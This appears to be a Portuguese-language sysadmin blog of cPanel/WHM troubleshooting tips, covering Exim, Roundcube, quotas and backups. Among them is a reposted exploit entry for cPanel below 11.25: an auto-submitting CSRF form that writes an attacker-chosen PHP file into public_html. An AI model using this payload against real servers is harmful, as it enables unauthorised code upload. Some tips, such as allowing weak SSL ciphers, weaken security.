Fantastico is not installed at the default location /usr/local/cpanel/3rdparty/fantastico. Either move the Fantastico directory from it’s current location to /usr/local/cpanel/3rdparty/fantastico OR enable ioncube loaders in WHM -> Tweak settings.

Standard

Para massacrar esse problema chato use os comandos:

 


/scripts/makecpphp

/etc/init.d/cpanel restart
Feito isto é só alegria.
Pontos extras que podem ocorrer:
checking for jpeg_read_header in -ljpeg... no

configure: error: Problem with libjpeg.(a|so). Please check config.log for moreinformation.
Para sanar use:
yum install libjpeg
Se a resposta for:
Package libjpeg-6b-37.i386 already installed and latest version
Use:
rpm -e –nodeps libjpeg-6b-37.i386
yum install libjpeg
Outras saídas que podem sanar o problema caso ele persista:
cd /usr/local/cpanel/whostmgr/docroot/cgi/fantastico/scripts/
/usr/local/cpanel/3rdparty/bin/php cron.php
Caso ainda assim não resolva (SE O IONCUBE ESTIVER MARCADO COMO ON desde o começo da tentativa de solução) use:
/scripts/upcp –force
Abraços.

WHM sumiu com meus ips adicionados anteriormente e ao tentar adicionar novamente aparece a mensagem is already…

Standard

Calma, sem problemas.
Se conseguir entre como root e rode o seguinte comando:

 

/etc/rc.d/init.d/ipaliases restart

Depois veja no whm se os ips voltaram, caso ainda assim não tenha retornado rode
chkconfig --list ipaliases

Verifique também (caso os comando acima não sanem seu problema) os arquivos:

/etc/ips e /etc/ipaddrpool

Abraços.

 

Fatal error: Out of memory (allocated 61603840) (tried to allocate 44042239 bytes) in /usr/local/cpanel/base/horde/imp/lib/Folder.php on line 542

Standard

Se a mensagem de erro apresentada a você, usando o Horde como Webmail for semelhante a esta:

Fatal error: Out of memory (allocated 61603840)
(tried to allocate 44042239 bytes) in
/usr/local/cpanel/base/horde/imp/lib/Folder.php on line 542

 

Faça o seguinte, entre no arquivo: /usr/local/cpanel/3rdparty/etc/php.ini e coloque o parâmetro memory_limit com mais memória (256mb, por exemplo) -> 256M, após modificar o arquivo use o comando /usr/local/cpanel/bin/install_php_inis.

Este comando (/usr/local/cpanel/bin/install_php_inis) há de validar a mudança junto ao cpanel.

Abraços.

ERROR: Failed to connect to server: Unable to find the socket transport “ssl” GOOGLE APPS com CPANEL

Standard

SMTP -> ERROR: Failed to connect to server: Unable to find the socket transport “ssl” – did you forget to enable it when you configured PHP? (24)

 

Se esse erro ocorre é simples de resolver, não precisa mudar sua classe phpmailer, usar debug true ou mesmo error_reporting(E_ALL) afim de depurar, agora é hora de matar a pau.

Crie um arquivo chamado info.php e dentro dele coloque <?php phpinfo(); ?>

Abra este arquivo pelo site e por fim veja se está ativada a biblioteca openssl, caso esteja o problema será suporte a esse tipo de socket.

Mande que o seu provedor acesse o whm e em exim configurator editor ele marque a opção Allow weak SSL/TLS ciphers, depois de aplicar o whm vai reiniciar o serviço do exim e pronto, é só alegria.

 

PS, atente para estar usando a porta certa e o hostname certo no seu phpmailer :P.

 

$mail->Host = “smtp.gmail.com”;

$mail->SMTPAuth = true;

$mail->Username = “login@dominionoapps.com.br”;

$mail->Password = “senha”;

$mail->SMTPSecure=”ssl”;

$mail->Port=465;

Como amenizar o impacto do cpbackup no cpanel quando usa o Rsync

Standard

Das coisas que acho interessante no cpanel é a flexibilidade com que as coisas operam.
O Cpanel em si não é um problema, porém, vamos analisar um caso aonde o horário comercial começou e o nosso backup ainda está moendo, moendo e moendo… no momento em que o rsync começa a trabalhar uma coisa que arrebenta bastante é justamente quando ele inicia e chama as fg -rlptD, isso faz com que o I/O fique piradoooo.

Uma forma de cortar um pouco o peso desse i/o é indo no arquivo cpbackup (/usr/local/cpanel/scripts/cpbackup) e acrescentar o recurso de banda de i/o ao rsync, isso vai amenizar uns 50% do peso do backup.

Uma forma simples que aplico nos servidores que gerencio e roda de forma bem bacana é a seguinte:

Localizando a linha my $rsyncopts = ‘-rlptD’; acrescente e deixe assim:

my $rsyncopts = ‘-rlptD –bwlimit=7000’;

 

Isso vai fazer com que o rsync trafegue no disco um peso de 7mbps, apesar de um pouco lento, caso alguns sites necessitem de leitura e escrita de disco terão uma boa folga para trabalharem sob leveza.

O valor da flag bwlimit é medida em KBPS, se você quiser colocar mais ou menos é fácil, mas eu deixo esse valor baseado na resposta do hdparm (hdparm -tT /dev/sda ou sdX aonde X é a letra do seu disco), o hdparm além de confirmar se o motor do disco está bom ainda te dá uma resposta de potência de leitura e escrita.

ps: Algo que faço por minha conta e risco é chattr +ai /usr/local/cpanel/scripts/cpbackup para bloquear o arquivo, mas não é bom em detrimento de mudanças constantes do cpanel (isso é coisa minha, mas se não fizer, na update seguinte ele sobrescreverá este arquivo :'(  ).

Abração pessoALL ;).

Como deletar fila de emails por domínio junto ao Cpanel / EXIM mail server

Standard

Por vezes encontramos trouxas fazendo spam, lotam a fila e acham que iremos deletar tudo e ferrar com a vida de quem envia emails corretamente.
Vamos acabar com a festa de um domínio spammer que lotou a fila do srv?

Como root faça:

exiqgrep -ir email_do_sadado@dominiodoporco.com.br | xargs exim -Mrm

 

Isso vai limpar a fila do porco!

Error from park wrapper: Using nameservers with the following IPs: … Tentando adicionar domínios parkeados (estacionados)

Standard

Para cpanel pt_br, o rvskin mostra esta mensagem:

 

Error from park wrapper: Usando Servidor de Nomes com os seguintes IPs: IP_DO_DNS1,IP_DO_DNS2 Sorry, the domain is already pointed to an IP address that does not appear to use DNS servers as sociated with this server. Please transfer the domain to this servers nameservers or have your administrator add one of its nameservers to /etc/ips.remotedns and make the proper A entries on that remote nameserver.

Naaaaaaaaaaaaaada de Pânico, sanar essa parada é fácil.

Abra o whm como root e em TWEAK SETTINGS clique em DOMAINS e deixe ON a opção:

Allow Remote Domains

Depois disso você vai enviar uma caixa de bis para mim ;).

Como observar quem está acessando o roundcube no cpanel?

Standard

Para identificar quem está acessando seu roundcube use:

egrep "GET (/cpsess[0-9]+)?/3rdparty/roundcube/\?.* HTTP/1.[01]" /usr/local/cpanel/logs/access_log

Para saber quais são os ips que estão acessando o roundcube:

pgrep -l -f webmaild

Para saber qual versão do roundcube:

grep -H '' /usr/local/cpanel/version /var/cpanel/roundcube/version


egrep "GET (/cpsess[0-9]+)?/3rdparty/roundcube/\?.* HTTP/1.[01]" /usr/local/cpanel/logs/access_log

Fullbackup parando no meio do caminho em algumas contas no CPANEL

Standard

Existe uma coisa estranha, e acontece mais do que imaginamos!

Já viu um fullbackup simplesmente parar no meio do caminho (pkgacct via console, por exemplo)?

Ou um user reclama que o backup está incompleto ou foi restaurar e o site não funfa mais? (um cms, por exemplo, como wordpress)

Isto ocorre em detrimento a limites do mysql (normalmente é esta a causa) no momento de gerar o dump, veja mais abaixo.

Um passo a segu1r é o seguinte, como root devemos executar o seguinte comando:

tail -f /usr/local/cpanel/logs/error_log

Se a saída do log (recomendo fazer isso via screen, por exemplo) for essa:

Script::Pkgacct::__ANON__() called at /scripts/pkgacct line 2154
Script::Pkgacct::run_dot_event(CODE(0x2b3d547e1050)) called at /scripts/pkgacct line 1141
Script::Pkgacct::script(‘Script::Pkgacct’, ‘LOGINDOCLIENTE‘) called at /scripts/pkgacct line 85
[UMA DATA] warn [pkgacct] LOGINDOCLIENTE_NOMEDOBD: mysqldump: Couldn’t execute ‘SHOW TRIGGERS LIKE ‘bl\_NOMEDOBD”: Got error 28 from storage engine (1030)
at /scripts/pkgacct line 1535
Script::Pkgacct::_check_error_file(‘LOGINDOCLIENTE_NOMEDOBD‘, ‘/home/cpmove-LOGINDOCLIENTE/mysql/LOGINDOCLIENTE_NOMEDOBD.sql.err’) called at /scripts/pkgacct line 1504
Script::Pkgacct::mysqldumpdb(HASH(0x2b3d547e1000)) called at /scripts/pkgacct line 1138
Script::Pkgacct::__ANON__() called at /scripts/pkgacct line 2154
Script::Pkgacct::run_dot_event(CODE(0x2b3d547e1050)) called at /scripts/pkgacct line 1141
Script::Pkgacct::script(‘Script::Pkgacct’, ‘LOGINDOCLIENTE‘) called at /scripts/pkgacct line 85

É simples de sanar!

Entre no /etc/my.cnf e comente as linhas que limitam uso de memória de cache (principalmente as de querys) do mysql.
Feito isto:

service mysql restart

Depois mande gerar o backup!

 

Se o problema não for resolvido veja se o erro é de EOF (end of file), se isso rolar, analise o disco, ou load (i/o no geral), pois pode ser falha no disco ou overload.
Abraços galera.

Roundcube causando Overload no Cpanel, como resolver?

Standard

É bem verdade que o vilão da história não é o roundcube e sim o mysql que causam overload. Mysql tem uma regra padrão de cada query esperar a outra terminar, por isso, imagine 500 domínios acessando o roundcube e fazendo a festa?

É possível sanar sim e de maneira tranquila o overload.

O que fazer?

Entre como root no seu servidor whm/cpanel e rode:

/scripts/convert_roundcube_mysql2sqlite

 

Se por ventura rolar algum erro faça o procedimento forçando-o (update do roundcube):

 

/usr/local/cpanel/bin/update-roundcube-sqlite –force

 

Outra coisa MUITO importante:

FAÇA UM DUMP DA BASE DE DADOS DO ROUNDCUBE, isso vai garantir que você tenha qualquer BD para uma possível volta ao mysql (acho BEM difícil, lol)

Para saber se o SQLITE é padrão no mysql use:

grep roundcube_db /var/cpanel/cpanel.config

Abraços e espero ter ajudado.

 

 

/usr/sbin/repquota -auv highest load 100% cpu usage (load) How to solve (COMO RESOLVER)

Standard

Essa dica SANA o problema junto ao processo /usr/sbin/repquota -auv, o qual o cpanel o executa sozinho, do nada (e como quem quer nada), lol, e o pior, não adianta dar killall, kill -9, kill np que ele não encerra, isto é fato!!! Vamos parar de preencher a linguiça e sanar o negócio?

Bem, alguns passos podem ser seguidos para sanar, digamos que irei colocar do nível mais simples ao mais curioso de todos, ok?

Tente o seguinte [como root]:

rm /home/quota.group
rm /home/quota.user

/scripts/fixquotas

Se o processo ainda insistir em ficar como louco checa se seu disco está operando em ready only, uma forma de tentar isto é fazer assim:

touch /home/qualquercoisa e em seguida digitar stat /home/qualquercoisa, se mostrar somente leitura é hora de um reboot (e de preferência um fsck por parte do IDC).

Outro ponto extra é você executar o upcp –force e ver se o processo inicia, caso não, observe na hora (normalmente madrugada) se o processo executa e em seguida opera com o repquota, se isso ocorrer realmente é o versionamento ferrado, mude o estilo de update e faça upcp –force (normalmente release ou stable são os mais recomendados, troque um pelo outro e lembre-se de proteger com chattr os arquivos que lhe são importantes e o cpanel pode os sobrescrever (customizações, por exemplo, em temas do cpanel)).

Vamos finalizar com a dica mais extra?

lsattr /*.user

Se exibir proteções do tipo i–A, meu amigo, tira essa praga daí —-> chattr -iA /*.user

Com isso rode o comando na mão e veja que glorioso.

Se a glória não ocorrer você precisara aprofundar as coisas:

1. Identificar que partições estão usando sistema de quotas,
================
root@appunixlabs [~]# cat /etc/fstab | grep quota
LABEL=/ / ext3 defaults,usrquota 1 1
LABEL=/home /home ext3 defaults,usrquota 1 2
LABEL=/usr /usr ext3 defaults,usrquota 1 2
LABEL=/var /var ext3 defaults,usrquota 1 2
================

2. Reiniciar o Servidor e entrar em Single mode.

3. Rodar um fsck para cada partição (modo forçado)-> fsck -f /dev/sdX#

4. Recriar o sistema de journaling para cada partição. (tune2fs -O ^has_journal /dev/sdX#;tune2fs -O has_journal /dev/sdX#)

5. Rodar um fsck PADRÃO para cada partição.

6. rodar o comando /scripts/fixquotas

7. Reiniciar o sistema.

Fonte:
http://www.littleoak.com.br/2011/08/01/usrsbinrepquota-auv-consumindo-toda-cpu-100-overload-cpanel/ (meu velho blog)

/usr/sbin/repquota -auv consumindo toda cpu (100%) OVERLOAD CPANEL

Standard

É, pessoALL, apesar do foco hoje estar 100% no http://www.appunix.com.br ainda uso este blog para dar algumas dicas (FREE) sobre WHM/CPANEL, e uma delas é baseada em um erro que acaba com a alegria de qualquer brazuca (ou sysadmin), um processo irritante que consome 100% da cpu. Este processo é o /usr/sbin/repquota -auv, o qual o cpanel o executa sozinho, do nada (e como quem quer nada), lol, e o pior, não adianta dar killall, kill -9, kill np que ele não encerra, isto é fato!!! Vamos parar de preencher a linguiça e sanar o negócio?

Bem, alguns passos podem ser seguidos para sanar, digamos que irei colocar do nível mais simples ao mais curioso de todos, ok?

Tente o seguinte [como root]:

rm /home/quota.group
rm /home/quota.user

/scripts/fixquotas

Se o processo ainda insistir em ficar como louco checa se seu disco está operando em ready only, uma forma de tentar isto é fazer assim:

touch /home/qualquercoisa e em seguida digitar stat /home/qualquercoisa, se mostrar somente leitura é hora de um reboot (e de preferência um fsck por parte do IDC).

Outro ponto extra é você executar o upcp –force e ver se o processo inicia, caso não, observe na hora (normalmente madrugada) se o processo executa e em seguida opera com o repquota, se isso ocorrer realmente é o versionamento ferrado, mude o estilo de update e faça upcp –force (normalmente release ou stable são os mais recomendados, troque um pelo outro e lembre-se de proteger com chattr os arquivos que lhe são importantes e o cpanel pode os sobrescrever (customizações, por exemplo, em temas do cpanel)).

Vamos finalizar com a dica mais extra?

lsattr /*.user

Se exibir proteções do tipo i–A, meu amigo, tira essa praga daí —-> chattr -iA /*.user

Com isso rode o comando na mão e veja que glorioso.

Se a glória não ocorrer você precisara aprofundar as coisas:

1. Identificar que partições estão usando sistema de quotas,
================
root@appunixlabs [~]# cat /etc/fstab | grep quota
LABEL=/ / ext3 defaults,usrquota 1 1
LABEL=/home /home ext3 defaults,usrquota 1 2
LABEL=/usr /usr ext3 defaults,usrquota 1 2
LABEL=/var /var ext3 defaults,usrquota 1 2
================

2. Reiniciar o Servidor e entrar em Single mode.

3. Rodar um fsck para cada partição (modo forçado)-> fsck -f /dev/sdX#

4. Recriar o sistema de journaling para cada partição. (tune2fs -O ^has_journal /dev/sdX#;tune2fs -O has_journal /dev/sdX#)

5. Rodar um fsck PADRÃO para cada partição.

6. rodar o comando /scripts/fixquotas

7. Reiniciar o sistema.

Ps: Se funcionar lembre-se que um whois neste domínio mostra minha casa, daí é só mandar uma caixa de bis do preto. (LOL)

cPanel < 11.25 CSRF – Add User php Script

Standard

# Exploit Title: cPanel < 11.25 CSRF - Add php script

# Date: 27.05.2011
# Author: ninjashell
# Software Link: http://cpanel.net
# Version: 11.25 (see details below)
# Tested on: Linux
# CVE : N/A
I. Introduction
cPanel versions below and excluding 11.25 , are vulnerable to CSRF which
leads to uploading a PHP script of the attackers liking. If you have turned
off security tokens and referrer security check, no matter what version you
are using, you are vulnerable as well.
II. Proof of concept (PoC)
<html>
<form name="editform" action="
http://localhost:2082/frontend/x3/err/savefile.html" method=POST
onSubmit="return loadfdata();">
<input type="hidden" id="codepage" class="codepress html" name="page"
value="<?php echo 'ninjashell'; ?>">
<input type="hidden" name="domain" value="localhost">
<input type="hidden" value="public_html/" name="dir">
<input type="hidden" value="ninjashell.php" name="file">
<body onload="document.forms.editform.submit();">
</form>
</html>
Afterwards simply check for ninjashell.php in the directory.
III. Counter-measures
All cPanel versions starting from 11.25 and above have two in-built security
features to prevent such attacks - security tokens and referrer security
check. This means that if you are a cpanel client, you should update your
software.
IV. About the author.
- Ethical hacker;
- Freelance security consultant/penetration tester;
- Security researcher in the spare time;
- Over 12 years of experience;
You can always email me ninjashellmail@gmail.com or follow me on twitter

@ninjashell1337

Como fazer o exim processar emails mesmo com load alto no whm

Standard

As vezes o exim pausa o seu envio afim de poupar recursos da máquina, que por default adentra neste estado a partir do load 3.
O único problema dessa brincadeira é que se o load estiver em 4 ele não envia nada com o padrão de velocidade na queue dele.
Como resolver isso?

Entre no conf do exim e procure pela linha:

deliver_queue_load_max = 3

3 é padrão.
Mude para o valor que achar melhor, recomendo algo até 8.
Abraços.

Nginxcp dando erro no momento da instalação

Standard

Generating vhosts…
Traceback (most recent call last):
File “/scripts/createvhosts.py”, line 143, in ?
parsedDOC = minidom.parseString(DOC)
File “/usr/local/lib/python2.4/xml/dom/minidom.py”, line 1925, in parseString
return expatbuilder.parseString(string)
File “/usr/local/lib/python2.4/xml/dom/expatbuilder.py”, line 940, in parseString
return builder.parseString(string)
File “/usr/local/lib/python2.4/xml/dom/expatbuilder.py”, line 223, in parseString
parser.Parse(string, True)
xml.parsers.expat.ExpatError: not well-formed (invalid token): line 542, column 23
deploying booster rockets

Se sua mensagem de erro parece com essa, ou linha 152, ou mesmo em plataforma 64 bits, posso lhe dar uma notícia ruim?
NGINXCP só roda em CENTOS!

Se estiver usando redhat será só mais um sonho :'(

Como limpar todo o cache de updates do Cpanel (stable, release, current ou edge) sem problemas

Standard

É muito comum na plataforma CPANEL/WHM manter um padrão de arquivos guardados em uma pasta para que, ao tentar rodar uma update você perceba algo veloz no tocante a baixar arquivos, na verdade a maior parte dos arquivos já está em cache :(.

Como resolver este problema?

rm -Rfv /home/.cpcpan /home/.cpan

Se por exemplo eu quiser reparar módulos perl e atualizar o cpanel já poderei perceber a mudança extremamente importante nos novos pacotes baixados em tempo real, faça um teste:

/scripts/checkperlmodules –force –full
/scripts/upcp –force

Os comandos acima foram testados e já estão em uso.
Não causam qualquer instabilidade a máquina ;).
Abraços.